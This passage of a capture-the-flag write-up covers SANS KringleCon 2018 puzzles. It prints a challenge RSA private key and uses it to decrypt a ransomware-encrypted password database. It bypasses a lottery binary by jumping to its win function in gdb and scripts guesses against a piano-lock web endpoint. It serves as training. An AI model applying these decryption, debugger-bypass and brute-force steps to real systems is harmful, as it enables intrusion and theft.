3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----
7. Using the private key and some Python code, the AES key could be recovered:
$ python
Python 2.7.14 (default, Oct 31 2017, 21:12:13)
[GCC 6.4.0] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.PublicKey import RSA
>>> from Crypto.Cipher import PKCS1_OAEP
>>> c = open('powershell_var_script_dump/variable_values.txt', 'r').read().decode('hex')
>>> k = RSA.import_key(open('server.key', 'r').read())
>>> PKCS1_OAEP.new(k).decrypt(c)
'\xfb\xcf\xc1!\x91]\x99\xcc \xa3\xd3\xd5\xd8O\x83\x08'
>>> PKCS1_OAEP.new(k).decrypt(c).encode('hex')
'fbcfc121915d99cc20a3d3d5d84f8308'
>>>
8. After retrieving the AES key, the .elfdb file could be decrypted easily with another Python script:
$ python decrypt.py
IV length: 16
IV: 1f98ac13b187f791ab42b24bcd7fed55
Trying key [fbcfc121915d99cc20a3d3d5d84f8308]...
9. We can see that the .elfdb is actually an SQLite database and easily query it for the vault’s password:
$ file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002
$ sqlite3 alabaster_passwords.elfdb
SQLite version 3.21.0 2017-10-24 18:55:49
Enter ".help" for usage hints.
sqlite> .tables
passwords
sqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com
sqlite>
Terminal: The Sleigh Bell Lottery
Using objdump -t sleighbell-lotto to investigate the binary’s symbol table, we can see that there is a winnerwinner function which apparently gets called when the user won the lottery. Since winning against a (pseudo) random number generator can be tough, and injecting an LD_PRELOAD that always returns the same number wasn’t an option, the binary was loaded into the GNU debugger issuing the following command: gdb ./sleighbell-lotto
Inside gdb, a beakpoint was set on the entry of the main function:
(gdb) b *main
Breakpoint 1 at 0x14ca
(gdb) run
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555554ca in main ()
The program was started and eventually halted, when entering main. From there, a command was issued to simply call the winnerwinner message: jump winnerwinner, resulting in immediately winning the lottery:
WKOdl:;oW
WOo:'.......cW X0KXW
kdxOX x...;.....;c.d Xd;....':d0W
W,....'cd0WN,.,WNd'...d:'N Xl........',.:W
l........':odoK No..,0.k Wx';.....'lOWX.'N
O............,oK O..O;dWl,d'...;xN x.o NXKKKKXN
W,.....,:ccc:,..;kW k.dcdd,k'..,kW 0'cW Xko:'.....:odOKW
d........',;clll:,xWlolx'x;..oN Wx'lW Ko;..........,cxK
N,..,codxkkkxdl:::;:xKlx,k.'O O;,O Ko,....;cdk0KXXXXK0kOW
K,.OW Xkl':k0:o.O Wk;:kNk:..'cd0N
W0kdlc:::cloxk0XW Wkc;lx0KNWW NxlKOxd WOl:dK0l''cdOKK0OOOO0KXNW
W NOo'.........,:oxOkkxlc;,',,,,,,:dK;.dKllx0Oo,;d0XKO0KKXKKKK0OO0KXKKN
NOxodkO00KKK0OOkdoc:,'.,:ldxxxxxdddolx;;xdlcc::cx;0K0KKXXXXXX00KK00OOO0K
WNXK00000KKKK0kxoodl::::ox,.xlK0kdlccdKOOKXXXK000KKKOOOO00000W
X0O0000KXX00000KNK;o;...:0 d,,;lNW 0O0XXK0O0KK0OO0KKK000000
NXNK000O0KKKKKXKKXK000kl:cdK WXK0000000KKKNW00KK0O0K0OO0KKK00XXXXK0OW
WOOOOOO000000OO0KKKKXXOON WX0OOO0XXXXXXXKOOOKK0O0K0OOOKK0O0XXXXXXK0OW
N000000OOOOO0000OO0XXXX0WXOOKXXXXXXXXXXXKKXX0O0XKOO0K0OOKXXXXXXKX0O0
KOKXKOO00000OOOO0KK0OOOK0OOX00KX0KKKKKKK00XXXXOOX0KKO0XXXXXXXXXOO0KW
0OKXXKKKKKK000K0OOO0KKKKOO0KKKKK0000000KKKKKK00OONO0XKO0NNXKKXXXXN
XOO0KXKO0KKKKKOO0K0O0KXK0KXKKKKKKKK000KKKKKKKKK0KKKK0OOONWXK00OKN
0OOW WOOKXXXXKKKK0KNOOOOOKKXXKKKKKKKKKKKKXXKK0OOOOKX00OOO0KXNW
KOO0NKOKXXXXXXXX0O0KXKKKKKK000000000000000KKKKKKNW
WKOOXNKKKKKKKKK0OKW KO0XXKKKKKKKXXXXXXXXXXXKOON
NXKNNKOOO00XN W00KK000K000KXXXXXXXXXKK0X
WW WKOOO0 KOKKKXXXXXX0OON
NKOO0KKNNXKOOOXXOO0XW
WNK0OOO0KXXNNXXN
WWWWWW
I'll hear the bells on Christmas Day
Their sweet, familiar sound will play
But just one elf,
Pulls off the shelf,
The bells to hang on Santa's sleigh!
Please call me Shinny Upatree
I write you now, 'cause I would be
The one who gets -
Whom Santa lets
The bells to hang on Santa's sleigh!
But all us elves do want the job,
Conveying bells through wint'ry mob
To be the one
Toy making's done
The bells to hang on Santa's sleigh!
To make it fair, the Man devised
A fair and simple compromise.
A random chance,
The winner dance!
The bells to hang on Santa's sleigh!
Now here I need your hacker skill.
To be the one would be a thrill!
Please do your best,
And rig this test
The bells to hang on Santa's sleigh!
Complete this challenge by winning the sleighbell lottery for Shinny Upatree.
elf@e9d0b2e12799:~$ ls
gdb objdump sleighbell-lotto
elf@e9d0b2e12799:~$ objdump -t sleighbell-lotto
sleighbell-lotto: file format elf64-x86-64
SYMBOL TABLE:
0000000000000238 l d .interp 0000000000000000 .interp
0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag
0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id
0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash
00000000000002b8 l d .dynsym 0000000000000000 .dynsym
00000000000004c8 l d .dynstr 0000000000000000 .dynstr
00000000000005e4 l d .gnu.version 0000000000000000 .gnu.version
0000000000000610 l d .gnu.version_r 0000000000000000 .gnu.version_r
0000000000000670 l d .rela.dyn 0000000000000000 .rela.dyn
0000000000000748 l d .rela.plt 0000000000000000 .rela.plt
00000000000008c8 l d .init 0000000000000000 .init
00000000000008e0 l d .plt 0000000000000000 .plt
00000000000009f0 l d .plt.got 0000000000000000 .plt.got
0000000000000a00 l d .text 0000000000000000 .text
0000000000001624 l d .fini 0000000000000000 .fini
0000000000001630 l d .rodata 0000000000000000 .rodata
0000000000006dcc l d .eh_frame_hdr 0000000000000000 .eh_frame_hdr
0000000000006e40 l d .eh_frame 0000000000000000 .eh_frame
0000000000207d30 l d .init_array 0000000000000000 .init_array
0000000000207d38 l d .fini_array 0000000000000000 .fini_array
0000000000207d40 l d .dynamic 0000000000000000 .dynamic
0000000000207f40 l d .got 0000000000000000 .got
0000000000208000 l d .data 0000000000000000 .data
0000000000208068 l d .bss 0000000000000000 .bss
0000000000000000 l d .comment 0000000000000000 .comment
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
0000000000000a30 l F .text 0000000000000000 deregister_tm_clones
0000000000000a70 l F .text 0000000000000000 register_tm_clones
0000000000000ac0 l F .text 0000000000000000 __do_global_dtors_aux
0000000000208068 l O .bss 0000000000000001 completed.7696
0000000000207d38 l O .fini_array 0000000000000000 __do_global_dtors_aux_fini_array_entry
0000000000000b00 l F .text 0000000000000000 frame_dummy
0000000000207d30 l O .init_array 0000000000000000 __frame_dummy_init_array_entry
0000000000000000 l df *ABS* 0000000000000000 hmac_sha256.c
0000000000000000 l df *ABS* 0000000000000000 sleigh-bell-lotto.c
0000000000208020 l O .data 0000000000000040 encoding_table
0000000000208078 l O .bss 0000000000000008 decoding_table
0000000000000000 l df *ABS* 0000000000000000 crtstuff.c
000000000000702c l O .eh_frame 0000000000000000 __FRAME_END__
0000000000000000 l df *ABS* 0000000000000000
0000000000006dcc l .eh_frame_hdr 0000000000000000 __GNU_EH_FRAME_HDR
0000000000207f40 l O .got 0000000000000000 _GLOBAL_OFFSET_TABLE_
0000000000207d38 l .init_array 0000000000000000 __init_array_end
0000000000207d30 l .init_array 0000000000000000 __init_array_start
0000000000207d40 l O .dynamic 0000000000000000 _DYNAMIC
0000000000208000 w .data 0000000000000000 data_start
0000000000000000 F *UND* 0000000000000000 printf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 memset@@GLIBC_2.2.5
0000000000001620 g F .text 0000000000000002 __libc_csu_fini
0000000000000a00 g F .text 000000000000002b _start
0000000000000000 w *UND* 0000000000000000 __gmon_start__
0000000000000000 F *UND* 0000000000000000 puts@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 exit@@GLIBC_2.2.5
0000000000001624 g F .fini 0000000000000000 _fini
0000000000000f18 g F .text 00000000000000bf tohex
0000000000208060 g O .data 0000000000000008 winnermsg
0000000000000000 F *UND* 0000000000000000 malloc@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 __libc_start_main@@GLIBC_2.2.5
0000000000000fd7 g F .text 00000000000004e0 winnerwinner
0000000000000b0a g F .text 00000000000000c2 hmac_sha256
0000000000208070 g O .bss 0000000000000008 decoded_data
0000000000000000 w *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000001630 g O .rodata 0000000000000004 _IO_stdin_used
0000000000000000 F *UND* 0000000000000000 free@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 strlen@@GLIBC_2.2.5
0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000208000 g .data 0000000000000000 __data_start
0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5
0000000000000c43 g F .text 00000000000002d5 base64_decode
0000000000000000 F *UND* 0000000000000000 sleep@@GLIBC_2.2.5
0000000000208068 g O .data 0000000000000000 .hidden __TMC_END__
0000000000208008 g O .data 0000000000000000 .hidden __dso_handle
00000000000015b0 g F .text 0000000000000065 __libc_csu_init
0000000000000000 F *UND* 0000000000000000 getenv@@GLIBC_2.2.5
0000000000208068 g .bss 0000000000000000 __bss_start
0000000000000000 F *UND* 0000000000000000 __stack_chk_fail@@GLIBC_2.4
0000000000000000 F *UND* 0000000000000000 HMAC@@OPENSSL_1_1_0
0000000000000000 F *UND* 0000000000000000 srand@@GLIBC_2.2.5
0000000000208080 g .bss 0000000000000000 _end
0000000000000c1e g F .text 0000000000000025 base64_cleanup
00000000000014b7 g F .text 0000000000000013 sorry
0000000000000bcc g F .text 0000000000000052 build_decoding_table
0000000000000000 F *UND* 0000000000000000 EVP_sha256@@OPENSSL_1_1_0
0000000000000000 F *UND* 0000000000000000 rand@@GLIBC_2.2.5
0000000000208068 g .data 0000000000000000 _edata
0000000000000000 F *UND* 0000000000000000 memcpy@@GLIBC_2.14
0000000000000000 F *UND* 0000000000000000 time@@GLIBC_2.2.5
00000000000014ca g F .text 00000000000000e1 main
00000000000008c8 g F .init 0000000000000000 _init
elf@e9d0b2e12799:~$ objdump -T sleighbell-lotto
sleighbell-lotto: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 printf
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 memset
0000000000000000 w D *UND* 0000000000000000 __gmon_start__
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 puts
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 exit
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 malloc
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 __libc_start_main
0000000000000000 w D *UND* 0000000000000000 _ITM_deregisterTMCloneTable
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 free
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 strlen
0000000000000000 w D *UND* 0000000000000000 _ITM_registerTMCloneTable
0000000000000000 w DF *UND* 0000000000000000 GLIBC_2.2.5 __cxa_finalize
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 sleep
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 getenv
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.4 __stack_chk_fail
0000000000000000 DF *UND* 0000000000000000 OPENSSL_1_1_0 HMAC
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 srand
0000000000000000 DF *UND* 0000000000000000 OPENSSL_1_1_0 EVP_sha256
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 rand
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.14 memcpy
0000000000000000 DF *UND* 0000000000000000 GLIBC_2.2.5 time
elf@e9d0b2e12799:~$ gdb ./sleighbell-lotto
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done.
(gdb) b *main
Breakpoint 1 at 0x14ca
(gdb) run
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555554ca in main ()
(gdb) disas main
Dump of assembler code for function main:
0x00005555555554ca <+0>: push %rbp
0x00005555555554cb <+1>: mov %rsp,%rbp
0x00005555555554ce <+4>: sub $0x10,%rsp
0x00005555555554d2 <+8>: lea 0x56d6(%rip),%rdi # 0x55555555abaf
0x00005555555554d9 <+15>: callq 0x555555554970 <getenv@plt>
0x00005555555554de <+20>: test %rax,%rax
0x00005555555554e1 <+23>: jne 0x5555555554f9 <main+47>
0x00005555555554e3 <+25>: lea 0x56d6(%rip),%rdi # 0x55555555abc0
0x00005555555554ea <+32>: callq 0x555555554910 <puts@plt>
0x00005555555554ef <+37>: mov $0xffffffff,%edi
0x00005555555554f4 <+42>: callq 0x555555554920 <exit@plt>
0x00005555555554f9 <+47>: mov $0x0,%edi
0x00005555555554fe <+52>: callq 0x5555555549e0 <time@plt>
0x0000555555555503 <+57>: mov %eax,%edi
0x0000555555555505 <+59>: callq 0x5555555549a0 <srand@plt>
0x000055555555550a <+64>: lea 0x583f(%rip),%rdi # 0x55555555ad50
0x0000555555555511 <+71>: callq 0x555555554910 <puts@plt>
0x0000555555555516 <+76>: mov $0x1,%edi
0x000055555555551b <+81>: callq 0x555555554960 <sleep@plt>
0x0000555555555520 <+86>: callq 0x5555555549c0 <rand@plt>
0x0000555555555525 <+91>: mov %eax,%ecx
0x0000555555555527 <+93>: mov $0x68db8bad,%edx
0x000055555555552c <+98>: mov %ecx,%eax
0x000055555555552e <+100>: imul %edx
0x0000555555555530 <+102>: sar $0xc,%edx
0x0000555555555533 <+105>: mov %ecx,%eax
0x0000555555555535 <+107>: sar $0x1f,%eax
0x0000555555555538 <+110>: sub %eax,%edx
0x000055555555553a <+112>: mov %edx,%eax
0x000055555555553c <+114>: mov %eax,-0x4(%rbp)
0x000055555555553f <+117>: mov -0x4(%rbp),%eax
0x0000555555555542 <+120>: imul $0x2710,%eax,%eax
0x0000555555555548 <+126>: sub %eax,%ecx
0x000055555555554a <+128>: mov %ecx,%eax
0x000055555555554c <+130>: mov %eax,-0x4(%rbp)
0x000055555555554f <+133>: lea 0x5856(%rip),%rdi # 0x55555555adac
0x0000555555555556 <+140>: mov $0x0,%eax
0x000055555555555b <+145>: callq 0x5555555548f0 <printf@plt>
0x0000555555555560 <+150>: mov -0x4(%rbp),%eax
0x0000555555555563 <+153>: mov %eax,%esi
---Type <return> to continue, or q <return> to quit---
0x0000555555555565 <+155>: lea 0x5858(%rip),%rdi # 0x55555555adc4
0x000055555555556c <+162>: mov $0x0,%eax
0x0000555555555571 <+167>: callq 0x5555555548f0 <printf@plt>
0x0000555555555576 <+172>: lea 0x584a(%rip),%rdi # 0x55555555adc7
0x000055555555557d <+179>: callq 0x555555554910 <puts@plt>
0x0000555555555582 <+184>: cmpl $0x4c9,-0x4(%rbp)
0x0000555555555589 <+191>: jne 0x555555555597 <main+205>
0x000055555555558b <+193>: mov $0x0,%eax
0x0000555555555590 <+198>: callq 0x555555554fd7 <winnerwinner>
0x0000555555555595 <+203>: jmp 0x5555555555a1 <main+215>
0x0000555555555597 <+205>: mov $0x0,%eax
0x000055555555559c <+210>: callq 0x5555555554b7 <sorry>
0x00005555555555a1 <+215>: mov $0x0,%edi
0x00005555555555a6 <+220>: callq 0x555555554920 <exit@plt>
End of assembler dump.
(gdb) jump winnerwinner
Continuing at 0x555555554fdb.
..... ......
..,;:::::cccodkkkkkkkkkxdc;. .......
.';:codkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx.........
':okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx..........
.;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkdc..........
.:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkko;. ........
'lkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:. ......
;xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd'
.xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
.kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx'
xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;
:olodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk;
..........;;;;coxkkkkkkkkkkkkkkkkkkkkkkc
...................,',,:lxkkkkkkkkkkkkkd.
..........................';;:coxkkkkk:
...............................ckd.
...............................
...........................
.......................
....... ...
With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
10) Who Is Behind It All?
Difficulty: 1
Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers please explain that plan.
After opening the Piano Lock (see below), one can enter the vault where Santa and Hans are waiting. Santa then explains that he made up the whole story to find someone who can help him protect the North Pole against even the “craftiest” attacker:
You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!
You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!
You see, I finally found you!
I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.
That’s why we had so many different challenges this year.
We needed to find someone with skills all across the spectrum.
I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.
And you did!
Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.
See what happens when they take off those hats?
Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.
And welcome to my vault room. Where’s my treasure? Well, my treasure is Christmas joy and good will.
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?
They lived happily ever after.
The Piano Lock
Attempting to login with the vault’s password found inside Alabaster’s password database returned the following error:
So, apparently the tune has to be transposed to another key. Investigating the network traffic that gets sent, once the complete tune was entered, it became apparent that the whole transposition can be scripted, since the lock issued a GET request to https://pianolock.kringlecastle.com/checkpass.php?i=EDshEDshEEDshEFshGshFshGshABAshBAshB&resourceId=5a2d7603-e16d-4249-9788-6e3a94db8be2.
Based on the provided keyboard and tune, the following boundaries could be calculated for transposition:
The lowest key is C and the lowest note is D#. Thus, the tune can be transposed down by up to 3 half-tones. The highest key on the keyboard is a C2 and the highest note is a B. Thus, the tune can be transposed upwards by a half-tone. With that in mind, a simple Python script was developed to transpose the tune and submit it to Piano Lock’s checkpass.php via the Python requests module:
$ python piano_lock.py
DCshDCshDDCshDEFshEFshGAGshAGshA
{"success":true,"resourceId":"9953dfa5-49bd-441d-a5fd-b154af72f24a","hash":"e6019a5533d0e7036d904ce81a41026a28c9e01f5497b12aaa490443781de1ab","message":"Correct guess!"}
In retrospect, one could have saved the effort, since Holly’s email already hinted on the correct solution: “He said your favorite key was D.”
- Creating evil WiFi hotspots, network bridges and complex hybrids - 4. July 2022
- Write-up: Hack The Box – Rope Two - 17. January 2021
- Customizing Desinfec’t (and other Linux Live disks) - 29. September 2020